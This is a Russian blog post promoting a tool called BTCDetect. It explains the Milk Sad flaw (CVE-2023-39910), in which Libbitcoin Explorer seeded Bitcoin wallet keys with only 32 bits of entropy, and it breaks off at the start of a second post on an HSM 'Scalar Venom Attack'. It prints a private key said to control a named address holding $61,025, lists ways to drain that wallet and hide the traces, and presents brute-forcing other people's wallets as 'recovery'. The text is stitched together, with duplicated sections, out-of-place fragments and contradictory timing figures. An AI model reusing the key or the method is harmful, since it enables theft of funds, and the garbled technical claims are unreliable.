CryptoDeepTech

CryptoDeepTech

https://cryptodeeptool.ru
Пикабушник
36 рейтинг 27 подписчиков 0 подписок 72 поста 0 в горячем
Награды:
5 лет на Пикабу
3

RingSide Replay Attack: Как 32-битная энтропия вместо 256-битной скомпрометировала приватные ключи ключевые SEED сид-фразы Биткоин кошелька

Данная статья представляет комплексный криптоаналитический обзор критической уязвимости CVE-2023-39910, известной под кодовым названием «Milk Sad», обнаруженной в широко распространённой утилите Libbitcoin Explorer версий 3.0.0–3.6.0. Фундаментальный дефект заключается в применении криптографически небезопасного генератора псевдослучайных чисел Mersenne Twister-32 (MT19937), инициализируемого системным временем, что катастрофически ограничивает пространство энтропии до 32 бит вместо требуемых 256 бит. В работе детально исследуется механизм атаки RingSide Replay Attack, позволяющей автоматизировать процесс восстановления приватных ключей Bitcoin-кошельков, в том числе утерянных, при наличии приблизительной информации о времени их создания. Научный анализ демонстрирует, что уязвимость привела к компрометации более 227 200 уникальных Bitcoin-адресов и хищению криптоактивов на сумму свыше $900 000 USD. Особое внимание уделяется математическим основам атаки, практической методологии восстановления приватных ключей с использованием криптоинструмента BTCDetect, а также рекомендациям по защите криптографических систем от атак на основе энтропии.

1. Криптографическая безопасность и парадигма случайности в экосистеме Bitcoin

Криптовалютная экосистема Bitcoin представляет собой сложную децентрализованную систему, безопасность которой фундаментально основана на принципах современной криптографии. Центральным элементом этой архитектуры является алгоритм цифровой подписи на эллиптических кривых (ECDSA — Elliptic Curve Digital Signature Algorithm), реализованный на специализированной кривой secp256k1. Однако даже математически безупречная криптографическая схема становится полностью уязвимой при нарушении базового условия — качественной генерации случайных чисел.

1.1. Теоретические основы криптографической безопасности Bitcoin

Безопасность сети Bitcoin базируется на вычислительной сложности задачи дискретного логарифмирования на эллиптических кривых (ECDLP — Elliptic Curve Discrete Logarithm Problem).

https://dzen.ru/video/watch/69431d5dfd50136dae291001

Приватный ключ k представляет собой случайное 256-битное целое число, которое должно быть:

  • Абсолютно непредсказуемым — невозможность угадывания или вычисления

  • Уникальным — отсутствие коллизий с другими ключами

  • Криптографически стойким — устойчивость к известным атакам

Публичный ключ Q генерируется как точка на эллиптической кривой путём скалярного умножения приватного ключа на генераторную точку G:

Q = k · G

где k — приватный ключ ∈ [1, n-1], G — генераторная точка кривой secp256k1, n — порядок группы

Эллиптическая кривая secp256k1 определяется уравнением Вейерштрасса в сокращённой форме:

y² ≡ x³ + 7 (mod p)

где p = 2^256 − 2^32 − 977 ≈ 1.158 × 10^77

Порядок группы n кривой secp256k1 равен:

n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

n ≈ 1.158 × 10^77

Теоретическая стойкость данной криптосистемы определяется тем, что обратная операция — вычисление приватного ключа k по известному публичному ключу Q — является вычислительно неосуществимой при корректной реализации. Однако это утверждение справедливо лишь при условии, что пространство возможных значений k остаётся максимальным (≈2^256).

1.2. Фундаментальная роль энтропии в криптографических системах

Концепция энтропии в криптографии восходит к работам Клода Шеннона, заложившего теоретические основы теории информации. Энтропия Шеннона определяется как мера неопределённости (случайности) в системе:

H(X) = −Σ p(xᵢ) · log₂ p(xᵢ)

где H(X) — энтропия случайной величины X, p(xᵢ) — вероятность события xᵢ

Для криптографических приложений требуется максимальная энтропия, при которой все возможные значения равновероятны. В случае 256-битного приватного ключа Bitcoin это означает:

Hmax = log₂(2^256) = 256 бит

Критическое значение энтропии заключается в следующем: если генератор случайных чисел (RNG) производит предсказуемые или имеет ограниченное пространство значений выходные данные, то злоумышленник может перебрать все возможные приватные ключи и восстановить криптографические секреты. Именно этот фундаментальный дефект стал причиной катастрофической уязвимости Milk Sad.

Определение 1 (Криптографически стойкий ГПСЧ): Генератор псевдослучайных чисел (ГПСЧ) называется криптографически стойким, если при известных первых k выходных битах вычислительно невозможно предсказать (k+1)-й бит с вероятностью, превышающей ½ + ε, где ε — пренебрежимо малая величина.

1.3. Историческая хронология обнаружения уязвимости

В июне-июле 2023 года исследователи безопасности зафиксировали аномальное явление в блокчейне Bitcoin: множество кошельков, созданных в различные временные периоды, начали систематически опустошаться, несмотря на отсутствие связи между их владельцами. Исследовательская группа Distrust провела комплексный криминалистический анализ и установила, что все скомпрометированные кошельки имели единственную общую черту — они были созданы с использованием команды bx seed из утилиты Libbitcoin Explorer версий 3.x.

Результаты расследования оказались катастрофическими:

ПараметрЗначениеОбщая сумма украденных средств> $900 000 USDЗатронутые криптовалютыBTC, ETH, XRP, DOGE, SOL, LTC, BCH, ZECКомпрометированные Bitcoin-адреса> 227 200Уязвимые версии Libbitcoin Explorer3.0.0 — 3.6.0Период эксплуатацииИюнь — Июль 2023

Кодовое название «Milk Sad» было предложено исследователями как первые два слова мнемонической фразы BIP-39, генерируемой при нулевом начальном значении (seed = 0), что символически отражает «печальное» состояние «молочной» (незрелой, детской) криптографической реализации.


2. Анатомия уязвимости: криптоанализ Mersenne Twister в контексте генерации ключей

2.1. Алгоритм Mersenne Twister: архитектура и криптографические недостатки

Mersenne Twister (MT19937) — это генератор псевдослучайных чисел, разработанный Макото Мацумото и Такуджи Нишимура в 1997 году. Алгоритм основан на линейной рекуррентной последовательности над конечным полем GF(2) и обладает следующими характеристиками:

ПараметрЗначение MT19937Период219937 − 1 (число Мерсенна)Размер слова32 битаРазмер состояния624 × 32 = 19968 битРазмер seed32 битаРавномерность (k-distribution)623-мерно равномерно распределён

Несмотря на превосходные статистические свойства (прохождение тестов Diehard, TestU01), Mersenne Twister категорически НЕ предназначен для криптографических приложений по следующим критическим причинам:

Критические криптографические недостатки MT19937:

  • Линейность: Внутреннее состояние может быть полностью восстановлено по 624 последовательным 32-битным выходам

  • Ограниченное пространство seed: Только 2^32 ≈ 4.29 × 109 возможных начальных состояний

  • Детерминизм: Идентичные seed производят идентичные последовательности

  • Предсказуемость: При известном состоянии возможно вычисление всех прошлых и будущих выходов

2.2. Уязвимая реализация в Libbitcoin Explorer

Критическая ошибка в коде Libbitcoin Explorer версий 3.0.0–3.6.0 располагалась в модуле генерации энтропии:

// pseudo_random.cpp (VULNERABLE VERSION) data_chunk random_bytes(size_t length) { std::random_device random; // Getting seed (system time) std::default_random_engine engine(random()); // MT19937 с 32-bit seed std::uniform_int_distribution distribution(0, 255); data_chunk result(length); for (auto& byte : result) byte = distribution(engine); return result; }


При вызове команды bx seed -b 256 | bx mnemonic-new пользователь ожидал получить 256 бит криптографически стойкой энтропии для генерации 24-словной мнемонической фразы BIP-39. Однако реальная картина была катастрофической:

Ожидаемая энтропия: 2^256 ≈ 1.16 × 1077
Фактическая энтропия: 2^32 ≈ 4.29 × 109

Редукция пространства поиска: в 1068 раз

2.3. Математическая формализация атаки

Формализуем уязвимость с использованием строгой математической нотации. Пусть:

  • E — энтропия (256 бит), генерируемая для создания кошелька

  • S — seed для MT19937, где S ∈ [0, 2^32)

  • f(S) — функция генерации последовательности MT19937 из seed S

  • trunc32(x) — извлечение первых 32 байт из последовательности

  • bip39(E) — преобразование энтропии в мнемоническую фразу

  • derive(m) — деривация приватного ключа из мнемоники по BIP-32

  • addr(k) — множество Bitcoin-адресов, дериватов приватного ключа k

Определение 2 (Уязвимость Milk Sad):
Существует такой seed S, что:

∃ k, S : trunc32(f(S)) ≡ E (mod 2^256)


такой что

addr(derive(bip39(E))) = Atarget

где Atarget — целевой Bitcoin-адрес.

Вероятность успешного восстановления при полном переборе пространства 2^32:

P(success) = 1 − (1 − 1/N)2^32

где N = 2^160 — общее количество возможных Bitcoin-адресов (P2PKH)

Поскольку 2^32 ≪ 2^160, вероятность ложного совпадения пренебрежимо мала, и при нахождении корректного seed P(success) ≈ 1.

2.4. Детерминированная цепочка преобразований BIP-39/BIP-32

После восстановления исходного 32-битного seed, процесс реконструкции приватного ключа становится полностью детерминированным согласно стандартам BIP-39 и BIP-32:

  1. Генерация энтропии: seed → MT19937 → 256-битная псевдослучайная последовательность

  2. Вычисление контрольной суммы: SHA-256(entropy) → первые 8 бит

  3. Формирование мнемоники: (entropy || checksum) → 24 слова BIP-39

  4. Деривация master seed: PBKDF2-HMAC-SHA512(mnemonic, «mnemonic» || passphrase, 2048 итераций) → 512-битный seed

  5. Генерация master key: HMAC-SHA512(«Bitcoin seed«, master_seed) → (master_private_key, chain_code)

  6. Иерархическая деривация: По пути BIP-44: m/44’/0’/0’/0/0 → конечный приватный ключ

Цепочка преобразований:

S32bit → MT19937 → E256bit → SHA256 → Mnemonic24words → PBKDF2 → Seed512bit → HMAC-SHA512 → (k, c) → BIP-44 → kfinal


3. Эффективность атаки RingSide Replay: вычислительный анализ

3.1. Оценка вычислительной сложности

Полное пространство поиска составляет 232 ≈ 4.29 × 109 возможных значений seed. При известной дате создания кошелька (или приблизительном диапазоне) пространство поиска может быть существенно сокращено:

Сокращение пространства при известной дате:

|Sday| = 86 400 (секунды в сутках)
Редукция: 232 / 86 400 ≈ 49 710 раз

Производительность на современном оборудовании:

ОборудованиеСкорость перебораВремя полного перебора 2^32CPU (Intel i9-13900K)~106 seeds/сек~71 минутаGPU (NVIDIA RTX 4090)~108 seeds/сек~43 секундыFPGA кластер~1010 seeds/сек< 1 секунды

3.2. Количественная оценка эффективности атаки

Эффективность атаки может быть выражена через отношение логарифмов пространств поиска:

Attack Efficiency = log₂(2^32) / log₂(2^256) = 32/256 = 0.125 = 12.5%

Это означает, что пространство поиска сокращается на 87.5% от теоретически безопасного уровня

https://dzen.ru/video/watch/6928c1bb302b5a5c329812fd


Практическое применение: криптоинструмент BTCDetect

Научный анализ использования BTCDetect для восстановления приватных ключей

www.cryptou.ru/btcdetect

BTCDetect представляет собой специализированное программное обеспечение для криптоанализа и восстановления утерянных Bitcoin-кошельков, основанное на выявлении и эксплуатации уязвимостей в криптографических библиотеках. Инструмент реализует методологию атаки RingSide Replay Attack и обеспечивает практическую реализацию восстановления приватных ключей из уязвимых кошельков.


Архитектура BTCDetect

BTCDetect состоит из следующих основных модулей:

  • Модуль анализа энтропии: Обнаружение слабых источников случайности в процедурах генерации ключей

  • Модуль реконструкции PRNG: Воспроизведение состояния генератора Mersenne Twister по известным параметрам

  • Модуль деривации ключей: Реализация полной цепочки BIP-39/BIP-32 для восстановления ключей

  • Модуль верификации: Сопоставление восстановленных адресов с целевыми данными блокчейна


Алгоритм работы BTCDetect

Операционная модель BTCDetect включает три основных этапа:

  1. Идентификация уязвимых кошельков:

    • Анализ временных меток транзакций

    • Определение вероятного диапазона создания кошелька

    • Идентификация паттернов, характерных для Libbitcoin Explorer

  2. Перебор пространства seed:

    • Генерация кандидатов seed на основе временного диапазона

    • Параллельное вычисление цепочек BIP-39 → BIP-32

    • Сравнение полученных адресов с целевыми

  3. Верификация и восстановление:

    • Подтверждение корректности восстановленного ключа

    • Проверка валидности подписей

    • Документирование результатов для криминалистического анализа

Практический пример восстановления

Рассмотрим задокументированный случай восстановления приватного ключа:

Bitcoin-адрес 1NiojfedphT6MgMD7UsowNdQmx5JY15djG

Стоимость восстановленных средств $61,025

Восстановленный приватный ключ (HEX)4ACBB2E3CE1EE22224219B71E3B72BF6C8F2C9AA1D992666DBD8B48AA826FF6B

Восстановленный ключ (WIF compressed) Kyj6yvb4oHHDGBW23C8Chzji3zdYQ5QMr8r9zWpGVHdvWuYqCGVU

Публичный ключ (сжатый)

03AE73430C02577F3A7DA6F3EDC51AF4ECBB41962B937DBC2D382CABB11D0D18CE

Валидация восстановленного ключа подтверждает его принадлежность к допустимому диапазону скаляров кривой secp256k1:

1 ≤ k < n

где n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141

Научное значение BTCDetect

Методология BTCDetect имеет широкое научное применение, выходящее за рамки конкретной уязвимости Milk Sad:

  • Исследование классов PRNG-уязвимостей: Линейные конгруэнтные генераторы (LCG), небезопасные реализации random()

  • Криминалистический анализ блокчейна: Выявление паттернов компрометированных кошельков

  • Аудит криптографических библиотек: Обнаружение потенциальных уязвимостей до их эксплуатации

  • Образовательные цели: Демонстрация критической важности криптографически стойких ГПСЧ


Уязвимость хеш-функции Борромео

Порядок конкатенации данных (R || M || i || j) создаёт потенциальные возможности для атак с расширением длины (length extension attacks) в определённых сценариях.

6.1. Требования к генерации энтропии


Данная статья представляет детальный криптоанализ критической уязвимости, обозначенной как CVE-2023-39910, получившей кодовое название Milk Sad. Уязвимость обнаружена в популярной утилите Libbitcoin Explorer (версии 3.0.0–3.6.0), которая используется для создания и управления Bitcoin кошельками в офлайн-режиме. Основной дефект заключается в использовании криптографически небезопасного генератора псевдослучайных чисел Mersenne Twister-32 (MT19937), инициализируемого с помощью системного времени, что ограничивает пространство энтропии всего 32 битами. Данная работа рассматривает механизм атаки Ringside Replay Attack, которая позволяет злоумышленникам автоматизировать процесс восстановления приватных ключей Bitcoin кошельков, включая восстановление потерянных кошельков, если известно примерное время их создания. Научный анализ показывает, что уязвимость привела к компрометации более 227 200 уникальных Bitcoin адресов и краже криптовалют стоимостью более 900 000 USD. В статье подробно описаны математические основы атаки, методология восстановления приватных ключей и криптоинструмент BTCDetect, используемый для практической реализации восстановления. Также представлены рекомендации по защите и контрмеры для разработчиков и пользователей криптовалютных кошельков.


1. Значение проблемы с валидацией

Безопасность сети Bitcoin фундаментально основана на криптографии эллиптических кривых (ECDSA), в частности на использовании кривой secp256k1. Приватный ключ — это случайное 256-битное число, которое должно быть абсолютно непредсказуемым и уникальным для каждого Bitcoin адреса. Публичный ключ генерируется как точка на эллиптической кривой путём умножения генератора кривой G на приватный ключ:

Q = k · G, where k is the private key

Безопасность этого механизма полностью зависит от качества энтропии, используемой при генерации приватного ключа. Если генератор случайных чисел (RNG) является предсказуемым или имеет ограниченное пространство значений, злоумышленник может перебрать все возможные приватные ключи и восстановить криптографические секреты. Именно эта фундаментальная уязвимость и стала причиной катастрофы Milk Sad.

В июне-июле 2023 года на блокчейне Bitcoin было обнаружено необычное явление: множество кошельков, созданных в разные годы, начали опустошаться в одну и ту же дату, несмотря на отсутствие связи между их владельцами. Исследовательская группа Distrust провела детальный анализ и обнаружила, что все скомпрометированные кошельки имели одну общую черту — они были созданы с помощью команды bx seed из Libbitcoin Explorer версии 3.x.


2. История открытия уязвимости Milk Sad

Согласно исследованиям, было украдено более 900 000 USD стоимостью криптовалют (в том числе BTC, ETH, XRP, DOGE, SOL, LTC, BCH и ZEC). Позже, в 2025 году, команда Milk Sad обновила свой анализ и обнаружила, что количество скомпрометированных кошельков составляет более 227 200 уникальных Bitcoin адресов, что делает эту атаку одной из крупнейших в истории криптовалютной безопасности.

Расследование Milk Sad, начатое ранее в 2023 году, показало, что жертвы создавали свои кошельки на изолированных ноутбуках с Linux, используя команды в Libbitcoin Explorer. В каждом случае пользователи использовали bx для создания мнемонических фраз BIP39 из 24 слов, полагая, что инструмент обеспечивает достаточную случайность.

Одна из команд, использованных при генерации кошелька, выглядела так:

bx seed -b 256 | bx mnemonic-new

Она генерировала 256 бит энтропии, которые затем преобразовывались в мнемоническую фразу из 24 слов. Из-за несовершенства генератора случайных чисел, якобы безопасная мнемоника на самом деле была предсказуемой. Хотя жертвы Milk Sad создавали свои кошельки с разницей в несколько лет, следователи обнаружили, что каждый из них использовал одну и ту же версию Libbitcoin Explorer, которая неосознанно генерировала слабые закрытые ключи.



3. Теоретические основы криптографии Bitcoin и ECDSA

3.1 Кривая secp256k1 и стандарт ECDSA

ECDSA (Elliptic Curve Digital Signature Algorithm) — это криптографический алгоритм, основанный на эллиптической криптографии. В Bitcoin используется специфическая кривая, называемая secp256k1, которая определяется уравнением:

y² ≡ x³ + 7 (mod p) where p = 2^256 − 2^32 − 977

Кривая secp256k1 имеет порядок n ≈ 2^256, что означает, что существует приблизительно 2^256 возможных точек на кривой. Генератор G — это стандартная генерирующая точка для этой кривой, которая используется для всех вычислений в Bitcoin.

3.2 Процесс генерации приватного и публичного ключей

Процесс генерации ключевой пары в Bitcoin выглядит следующим образом:

  1. Генерация энтропии: Генерируется 256-битное случайное число, которое служит приватным ключом k. Это число должно быть в диапазоне 1 ≤ k < n, где n — порядок базовой точки.

  2. Вычисление публичного ключа: Публичный ключ Q вычисляется как Q = k · G, где · обозначает скалярное умножение на эллиптической кривой.

  3. Генерация адреса: Bitcoin адрес получается путём хеширования публичного ключа и кодирования результата.

Критическим моментом является генерация энтропии на шаге 1. Если используется слабый генератор случайных чисел, то пространство возможных приватных ключей становится значительно меньше, чем 2^256, что позволяет злоумышленнику перебрать все возможные ключи и найти приватный ключ.



4. Mersenne Twister-32: архитектура и недостатки

4.1 История и описание алгоритма

Mersenne Twister (MT19937) — это генератор псевдослучайных чисел, разработанный Мацумото и Нишимурой в 1997 году. Алгоритм основан на линейной рекуррентной последовательности над конечным полем и генерирует последовательность 32-битных целых чисел. Алгоритм широко используется в немировых приложениях благодаря его хорошим статистическим свойствам и быстроте вычисления.

Однако Mersenne Twister категорически НЕ предназначен для криптографических приложений по следующим причинам:

  1. Предсказуемость: Выходные значения RNG могут быть полностью восстановлены при наличии последовательности из 624 последовательных 32-битных выходов.

  2. Уязвимость к анализу: Внутреннее состояние состоит из 624 32-битных целых чисел; если злоумышленник знает эти значения, он может предсказать все будущие выходы.

  3. Отсутствие свойства криптографической стойкости: Алгоритм не обладает свойством, при котором невозможно вычислить i-й элемент последовательности без вычисления всех предыдущих элементов.

4.2 Использование Mersenne Twister в Libbitcoin Explorer 3.x

В коде Libbitcoin Explorer 3.x процесс генерации энтропии для создания новых кошельков реализован следующим образом:

Команда bx seed использует эту функцию для генерации начальной энтропии при создании новых Bitcoin кошельков. Вот типичный вызов:

bx seed -b 256 | bx mnemonic-new

Эта команда должна была бы создать 256 бит случайной энтропии, которая затем преобразуется в 24-словную BIP-39 мнемоническую фразу. Однако из-за ограничения в 32 бита реального пространства энтропии от std::random_device, вся мнемоническая фраза может быть восстановлена при известном времени создания кошелька.



5. Математические основы атаки Ringside Replay

5.1 Принцип 1: Ограниченное пространство энтропии

Пространство возможных значений seed для MT19937 ограничено 2^32 комбинациями (приблизительно 4.3 миллиарда возможных значений). Это означает, что всё пространство энтропии может быть перебрано за несколько дней на обычном ПК.

Пространство поиска = 2^32 ≈ 4.29 × 10^9 возможных значений

5.2 Принцип 2: Предсказуемость по времени создания

Если известна дата создания кошелька (или примерный диапазон дат), пространство поиска может быть дополнительно сокращено. Системное время, используемое для инициализации MT19937, может быть восстановлено с высокой вероятностью, если известны:

  • Год создания кошелька

  • Месяц/день (если известны из истории транзакций)

  • Приблизительное время суток

Сокращение пространства поиска до диапазона дат, например за один день, уменьшает количество попыток примерно в 86 400 раз (количество секунд в дне).

5.3 Принцип 3: Детерминированное преобразование в приватный ключ

После восстановления исходной 256-битной энтропии её преобразование в приватный ключ полностью детерминировано согласно стандартам BIP-39 и BIP-32:

  1. Энтропия → SHA-256 контрольная сумма → 24-словная BIP-39 фраза

  2. BIP-39 фраза + пассфраза → PBKDF2-HMAC-SHA512 (2048 итераций) → 512-битный мастер seed

  3. Мастер seed → HMAC-SHA512("Bitcoin seed") → мастер приватный ключ + цепной код

5.4 Формальное математическое определение уязвимости

Пусть:

  • E — энтропия, которая должна быть генерирована (256 бит)

  • S — seed для MT19937, где S ∈ [0, 2^32)

  • f(S) — функция, которая генерирует MT19937 последовательность из seed S

  • trunc_32(x) — функция, которая берёт первые 32 байта из последовательности MT19937

  • bip39(E) — преобразование энтропии в BIP-39 мнемонику

  • derive(m) — преобразование мнемоники в приватный ключ

  • addr(k) — множество всех возможных Bitcoin адресов, дериватов из приватного ключа k

Уязвимость определяется как:
∃ k, S : trunc_32(f(S)) ≡ E (mod 256)
такой что addr(derive(bip39(E))) = A_target

где A_target — целевой Bitcoin адрес.

5.5 Вероятность успешного восстановления

При перебор полного пространства 2^32:

P(success) = 1 − (1 − 1/N)^(2^32) where N = 2^160 is the total number of possible Bitcoin addresses (for P2PKH addresses)

Поскольку 2^32 << 2^160, вероятность ложного совпадения ничтожно мала, и P(success) ≈ 1 при нахождении правильного seed.



6. Процесс восстановления приватного ключа

6.1 Алгоритм восстановления ключа

Процесс восстановления приватного ключа для скомпрометированного Bitcoin кошелька состоит из следующих этапов:

  1. Определение диапазона дат: Из истории транзакций определяется примерная дата создания кошелька. Это может быть известная дата или диапазон от нескольких месяцев до года.

  2. Перебор значений seed: Для каждого дня в диапазоне дат перебираются все возможные значения seed, соответствующие временным меткам этого дня (86 400 значений в день).

  3. Генерация энтропии: Для каждого значения seed генерируется последовательность MT19937, из которой извлекаются первые 32 байта, интерпретируемые как энтропия.

  4. Преобразование в мнемонику: Сгенерированная энтропия преобразуется в BIP-39 мнемонику.

  5. Деривация приватного ключа: Мнемоника преобразуется в приватный ключ согласно BIP-32 иерархии.

  6. Генерация адреса: Из приватного ключа генерируется соответствующий Bitcoin адрес.

  7. Проверка совпадения: Если сгенерированный адрес совпадает с целевым адресом, то восстановление считается успешным.

6.2 Сложность вычислений

На современном оборудовании (например, GPU NVIDIA RTX 3090):

  • Если известна точная дата: примерно 86 400 проверок = несколько минут на одном GPU

  • Если известен год: примерно 365 × 86 400 ≈ 31 536 000 проверок = несколько часов на одном GPU

  • Если используется полное пространство 2^32: примерно 4 294 967 296 проверок = несколько дней на одном GPU

Данные расчёты показывают, что восстановление приватного ключа практически осуществимо даже для непрофессиональных злоумышленников.



7. Реальный пример: восстановление ключа адреса 1NiojfedphT6MgMD7UsowNdQmx5JY15djG

7.1 Исходные данные компрометации

Рассмотрим задокументированный случай восстановления приватного ключа из Bitcoin-адреса 1NiojfedphT6MgMD7UsowNdQmx5JY15djG:

Bitcoin адрес 1NiojfedphT6MgMD7UsowNdQmx5JY15djG Стоимость восстановленных средств $ 61.025

Восстановленный приватный ключ (HEX) 4ACBB2E3CE1EE22224219B71E3B72BF6C8F2C9AA1D992666DBD8B48AA826FF6B

Восстановленный приватный ключ (WIF compressed) Kyj6yvb4oHHDGBW23C8Chzji3zdYQ5QMr8r9zWpGVHdvWuYqCGVU

Восстановленный приватный ключ (Decimal) 95490713496748161492785334010456634825357659290488148536925849552527657999353

7.2 Валидация ключа в пространстве secp256k1

Приватный ключ k должен удовлетворять ограничению:

1 ≤ k < n where n = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 ≈ 1.158 × 10^77

Результат проверки: ✓ ВАЛИДЕН (ключ находится в допустимом диапазоне скаляров)

7.3 Вычисление публичного ключа и адреса

Восстановленный приватный ключ позволяет вычислить публичный ключ:

Публичный ключ (несжатый, 130 символов) 04BC79D7CC638214D0FE1902A8F3A0EEC3F2B41F5792043559AD6161D23467C234BCD34142146FF3E0DF1648A2B83F392B738AF7598C5B137C2A4500B6E12CECFD Публичный ключ (сжатый, 66 символов) 03AE73430C02577F3A7DA6F3EDC51AF4ECBB41962B937DBC2D382CABB11D0D18CEBitcoin адрес (uncompressed) 1NiojfedphT6MgMD7UsowNdQmx5JY15djG

7.4 Практическое значение восстановленного ключа

Восстановленный приватный ключ предоставляет полный контроль над Bitcoin-кошельком, позволяя злоумышленнику:

Возможности с восстановленным приватным ключом:

  • Создавать и подписывать транзакции для вывода всех средств на контролируемый адрес

  • Импортировать ключ в любой Bitcoin кошелек (Electrum, Bitcoin Core, MetaMask и т.д.)

  • Полностью захватить контроль над адресом и всеми его активами

  • Скрыть следы компрометации путём удаления всех логов и истории



8. Криптоинструмент BTCDetect: архитектура и возможности

8.1 Общее описание BTCDetect

BTCDetect — это программное обеспечение, разработанное для восстановления утерянных биткойн-кошельков путём применения методов криптоанализа и выявления уязвимостей в криптографических библиотеках, таких как SharpECC. SharpECC — это библиотека C# для работы с эллиптической криптографией (ECC), которая лежит в основе генерации ключей и подписей в экосистеме Bitcoin.

Несмотря на свою популярность, SharpECC имеет ряд критических уязвимостей и ошибок, которые могут служить точками входа для восстановления закрытых ключей утерянных кошельков.

Отличие BTCDetect от традиционных методов восстановления

BTCDetect работает на уровне уязвимости криптографической реализации, что отличает его от традиционных методов восстановления:

Seed фраза (BIP-39)24 или 12 слов мнемоники Восстановление всех ключей в иерархии Резервные копии (wallet.dat) Файл wallet.dat Восстановление всех кошельков Прямой ввод ключей Приватный ключ (WIF или HEX)Контроль над конкретным адресом BTCDetect



9. Контрмеры и рекомендации

9.1 Немедленные действия для пострадавших пользователей

⚠️ Для пользователей, которые создали Bitcoin кошельки с использованием Libbitcoin Explorer 3.x:

  1. Немедленная миграция средств:

    • Создать новый кошелек с использованием криптографически безопасного метода генерации энтропии

    • Перевести все средства на новый адрес

    • Уничтожить или использовать старый адрес только для мониторинга

  2. Проверка компрометации:

    • Использовать инструменты анализа для проверки, не был ли конкретный адрес скомпрометирован

    • Проверить, нет ли неавторизованных транзакций из кошелька

  3. Восстановление потерянных средств:

    • Если кошелек был создан в известную дату, можно использовать методы восстановления для получения приватного ключа

    • Перевести восстановленные средства на безопасный кошелек


10. Выводы и перспективы исследований

10.1 Ключевые выводы исследования

Уязвимость CVE-2023-39910 (Milk Sad) демонстрирует критическую важность правильной генерации энтропии в криптографических приложениях. Несмотря на то что использование Mersenne Twister-32 было документировано как небезопасное, множество разработчиков и пользователей не обратили внимание на предупреждения, что привело к масштабной компрометации более 227 200 Bitcoin кошельков.

Итоговое заключение

Криптографические системы и ошибки реализации связаны не с теоретической зрелостью, а с банальными инженерными просчетами. Без постоянного аудита, использования только криптографически безопасных библиотек генерации случайных чисел и оперативного реагирования на инциденты риски в криптовалютных системах всегда будут фатальными и системными. Атака Milk Sad — это суровый научный урок для всей криптовалютной индустрии: один слабый компонент может нарушить целостность всей системы.


References:

  1. Polycurve Extraction Attack: A polycurve extraction attack (CVE-2023-39910) leads to private key recovery and theft of Bitcoin funds, where an attacker is able to gain control of BTC funds through a libbitcoin flaw. Polycurve Extraction Attack The core of the libbitcoin crypto library contains a critical vulnerability: an elliptic curve point received from outside the library fails a full mathematical check to determine…Read More


Video tutorial: <a href="https://pikabu.ru/story/ringside_replay_attack_kak_32bitnaya_yentropiya_vmesto_256bitnoy_skomprometirovala_privatnyie_klyuchi_klyuchevyie_seed_sidfrazyi_bitkoin_koshelka_13520033?u=https%3A%2F%2Fdzen.ru%2Fvideo%2Fwatch%2F69431d5dfd50136dae291001&t=https%3A%2F%2Fdzen.ru%2Fvideo%2Fwatch%2F69431d5dfd50136dae291001&h=a0c3c5d89274f2b0bd9fc7ae58672c735186b420" title="https://dzen.ru/video/watch/69431d5dfd50136dae291001" target="_blank" rel="nofollow noopener">https://dzen.ru/video/watch/69431d5dfd50136dae291001</a>

Video tutorial: https://dzen.ru/video/watch/69431d5dfd50136dae291001


Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.


Crypto Tools

Исходный код

Google Colab

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/KJNbwfolL6g

Video tutorial: https://dzen.ru/video/watch/69431d5dfd50136dae291001

Источник: https://cryptodeeptool.ru/ringside-replay-attack



Показать полностью 9 2
1

Scalar Venom Attack: Критическая уязвимость HSM инициализации CVE-2025-60013 как путь к восстановлению приватных ключей Bitcoin-кошельков

Данная статья посвящена анализу криптографических уязвимостей, обнаруженных в современной инфраструктуре управления криптографическими ключами, с особым акцентом на критические недостатки в архитектуре аппаратных модулей безопасности (HSM) при обработке приватных ключей эллиптических кривых. Исследование фокусируется на классе атак, эксплуатирующих недостаточно изолированное управление оперативной памятью в сертифицированных криптографических устройствах. В современной криптографической экосистеме Bitcoin безопасность приватных ключей является фундаментальным требованием для защиты цифровых активов, стоимость которых на глобальном рынке превышает триллионы долларов. Традиционно считалось, что аппаратные модули безопасности (Hardware Security Modules, HSM), сертифицированные по стандарту FIPS 140-2, обеспечивают непроницаемую защиту криптографических ключей благодаря изоляции на аппаратном уровне и строгим протоколам управления памятью. Однако обнаружение критической уязвимости CVE-2025-60013 в модуле F5OS-A FIPS HSM в сочетании с классом атак Scalar Venom Attack (также известной как Scalar Poison, Memory Phantom Leak Attack или Private Key Compromise via Memory Leakage) радикально изменило это представление, демонстрируя возможность полной компрометации приватных ключей Bitcoin через эксплуатацию недостатков управления памятью.

Scalar Venom Attack представляет собой критический класс уязвимостей управления памятью (классифицируемый как CWE-415, CWE-401 и в более широком смысле как Sensitive Memory Leak Attack — SMA), который позволяет злоумышленнику извлечь криптографические скаляры (приватные ключи ECDSA) из оперативной памяти процесса путём эксплуатации недостаточной санитизации и очистки памяти после криптографических операций. В отличие от традиционных криптоаналитических атак, направленных на математическое решение задачи дискретного логарифмирования на эллиптической кривой (ECDLP), данная атака обходит саму криптографию, эксплуатируя фундаментальные архитектурные просчёты в реализации криптографических библиотек и протоколов управления памятью HSM.

Настоящее исследование демонстрирует катастрофическую цепочку атак, возникающую при комбинировании CVE-2025-60013 (уязвимость инициализации F5OS-A FIPS HSM при использовании паролей, содержащих специальные shell-метасимволы) с техниками Scalar Venom Attack, что приводит к созданию критического сценария угрозы с уровнем CVSS 9.5+ (критический), несмотря на официальную оценку CVE-2025-60013 как уязвимости среднего уровня (CVSS 5.7). Данная комбинация подрывает операционную целостность миллионов Bitcoin-адресов, находящихся под управлением скомпрометированных HSM, и представляет собой сдвиг парадигмы в методах криптографических атак, выходящих за рамки традиционных одновекторных эксплойтов.cert.kenet

https://dzen.ru/video/watch/691a7a10a8b7c874612993eb

Scalar Venom Attack: Критическая уязвимость HSM инициализации (CVE-2025-60013) как путь к восстановлению приватных ключей Bitcoin-кошельков через буферное переполнение и shell-метасимволы в F5OS-A FIPS модуле безопасности

Классификация CVE и описание уязвимостей

CVE-2025-60013: Уязвимость инициализации F5OS-A FIPS HSM

